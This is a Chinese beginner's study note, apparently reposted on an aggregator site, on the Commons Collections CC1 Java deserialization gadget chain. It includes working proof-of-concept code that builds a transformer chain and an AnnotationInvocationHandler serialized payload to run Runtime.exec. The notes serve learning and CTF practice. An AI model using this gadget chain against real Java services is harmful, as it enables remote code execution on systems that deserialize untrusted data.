【心得】java从CC1链入门CC链个人笔记

来劲了,感觉离真正的CTF又近了一步。

本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。

目录

CC链概念

CC链学习前置知识

CC1链

Version1

Version2

Version3


CC链概念

CC链  Commons Collections apache组织发布的开源库

里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList

总结一下CC链:就是有反序列化入口,同时有cc库的情况下,如何进行rce或者文件读取


CC链学习前置知识

Transformer

特征  

1 是一个接口
2 有一个transformer方法,传入一个参数object,穿出一个参数object
3 有点像 转接头  扩展坞

实现类

ConstantTransformer  常量转换器   传入任何值 传出的,都是固定值

InvokerTransformer  反射调用转换器   传入方法名,方法参数类型 方法参数  进行反射调用

ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法

新的数据结构

TransformerMap  分别可以对 key 和value 执行构造参数里面的transformer转换


CC1链

网上资源有很多,就不班门弄斧了,更多去谈自己做的过程的想法。

贴出一篇:CC1链详解

总结一下就是下面这些步骤

1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法

2 将ChainedTransformer放入TransformerMap后,只要调用TransformerMap的checkSetValue方法,就能够调用value对象的transform方法从而RCE

3 我们要找到一个类,它的属性可以设置为 TransformerMap ,然后它调用了这个属性的checkSetValue方法

4 找到了AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

5 setValue方法调用了 TransformerMap 的checkValue方法

6 checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

我做了三个版本迭代,前两个版本不涉及反序列化,就是自己测一测,其中第二个版本后作死尝试尝试去走put触发transform方法,最终失败,于是老老实实走了前人的大路。

Version1

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Test1 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});chainedTransformer.transform("Z3r4y");}
}

这里其实就是利用ChainedTransformer的特性,把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性,Object进,Object出)传递给下一个transformer对象,作为其transform方法调用的参数,以此类推。

再加上ConstantTransformer无论输入什么值,输出的值都是可控的定值的特性,即可以传递给下一个transformer类一个可控的对象

 配合InvokerTransformer(调用方法,参数类型,参数均可控),便可以执行任意类的任意方法

这个版本告诉我们只要可以触发ChainedTransformer的transform方法,就可以触发一条链的transform方法,最终实现RCE

Version2

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;public class Test2 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});HashMap hashMap = new HashMap();TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);transformedMap.put("Z3r4y","aaa");}
}

这里就是尝试找办法触发ChainedTransformer的transform方法,借鉴前人我们用了HashMap和transformedMap这两个数据结构,然后神奇的发现,transformedMap在修饰HashMap的kv对时,会分别调用传入Transformer对象的transform方法。

我们已经找到可以触发Version1的方法,但这还是不能达到可配合反序列化的目的,按思路走,我们下一步应该找一个类的readObject方法,其中调用同名的put方法。

Version3

绷不住了,就这卡的时间最长,确实没找到调用put的readObject方法,选择放弃未必不是明智之举。

下面都是说烂的东西

AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

setValue方法调用了 TransformerMap 的checkValue方法

checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class exp {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer chainedTransformer = new ChainedTransformer(transformers);HashMap hashMap = new HashMap();hashMap.put("value", "xxx");TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Retention.class, transformedMap);byte[] data = SerializeUtil.serialize(instance);SerializeUtil.unSerialize(data);}
}

序列化反序列化的工具类:

package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);Object o = objectInputStream.readObject();return o;}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/424586.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文教你写出高效的软件测试用例!微信朋友圈动态发送为例

🔥 交流讨论:欢迎加入我们一起学习! 🔥 资源分享:耗时200小时精选的「软件测试」资料包 🔥 教程推荐:火遍全网的《软件测试》教程 📢欢迎点赞 👍 收藏 ⭐留言 &#x1…

如何制作自己的实景中国视频地图?

让每一个人都有自己的地图! 我们在《水经微图Web版1.5.0发布》一文中,提到了水经微图(简称“微图”)Web版新增了视频气泡的功能。 现在,我们为你分享一下如何基于此功能,制作一个属于自己的实景中国视频地…

浏览器无网

目录 1.运行网络诊断,确认原因 原因A.远程计算机或设备将不接受连接(该设备或资源(Web 代理)未设置为接受端口“7890”上的连接 原因B.DNS服务器未响应 场景A.其他的浏览器可以打开网页,自带的Edge却不行 方法A:关闭代理 Google自带翻译…

第10章-以太网交换机工作原理

1. 交换网络(概念一) 2. 以太网(概念二) 3. MAC地址(概念三) 4. 交换机 4.1. 定义: 4.2. 工作流程: 4.3. 交换机的MAC地址表生成 4.4. 数据帧的转发 1. 交换网络(…

动态权限有哪些

定位权限: ACCESS_FINE_LOCATION:精确位置ACCESS_COARSE_LOCATION:大致位置 相机权限: CAMERA:访问摄像头 存储权限: READ_EXTERNAL_STORAGE:读取外部存储WRITE_EXTERNAL_STORAGE:…

14、Kafka ------ kafka 核心API 之 流API(就是把一个主题的消息 导流 到另一个主题里面去)

目录 kafka 核心API 之 流APIKafka流API的作用:流API的核心API:使用流API编程的大致步骤如下:代码演示 流API 用法MessageStream 流API 代码演示消息从 test1主题 导流到 test2主题演示使用匿名内部类对消息进行处理Topology 拓扑结构 讲解 代…

文心一言 VS 讯飞星火 VS chatgpt (185)-- 算法导论14.1 2题

二、用go语言,对于图 14-1中的红黑树 T 和关键字 x.key 为35的结点x,说明执行 OS-RANK(T,x) 的过程。 文心一言: 在红黑树中,OS-RANK(T, x) 是一个操作,用于计算节点 x 在红黑树 T 中的秩。秩是一个节点的…

vscode连不上虚拟机,一直密码错误

最近在做毕设,但是vscode使用连接不上虚拟机,我以为是网络配置的问题,一顿查阅没找到原因。 后来查了一下ssh的日志,发现ssh有消息,但是也提示密码错误。 没找到密码配置格式什么的,经查看sshd配置文件发现…

搭建互联网医疗平台:构建智慧医院APP的开发指南

本文将从技术层面出发,为大家提供构建互联网医疗平台、打造智慧医院APP的详细开发指南。 一、确定需求与功能 在开始开发之前,首先需要明确智慧医院APP的需求与功能。这包括患者预约挂号、在线咨询、病历查看、医疗报告查询等功能。 二、选择合适的开发…

C++ STL之list的使用及模拟实现

文章目录 1. 介绍2. list类的使用2.1 list类对象的构造函数2.2 list类对象的容量操作2.3 list类对象的修改操作2.4 list类对象的访问及遍历操作 3. list类的模拟实现 1. 介绍 list是可以在常数范围内在任意位置进行插入和删除的序列式容器,并且该容器可以前后双向迭…

ubuntu22.04安装filebeat报错解决

1、查看报错 journalctl -u filebeat 或者 filebeat -c /etc/filebeat/filebeat.yml找到报错信息 runtime/cgo: pthread_create failed: Operation not permitted 2、解决报错 在filebeat.yml配置文件添加如下配置,重启filebeat seccomp:default_action: allow…

五邑大学餐厅网络点餐系统设计与实现(包含完整源码详细开发过程)

博主介绍:✌专研于前后端领域优质创作者、本质互联网精神开源贡献答疑解惑、坚持优质作品共享、掘金/腾讯云/阿里云等平台优质作者、擅长前后端项目开发和毕业项目实战,深受全网粉丝喜爱与支持✌有需要可以联系作者我哦! 🍅文末获…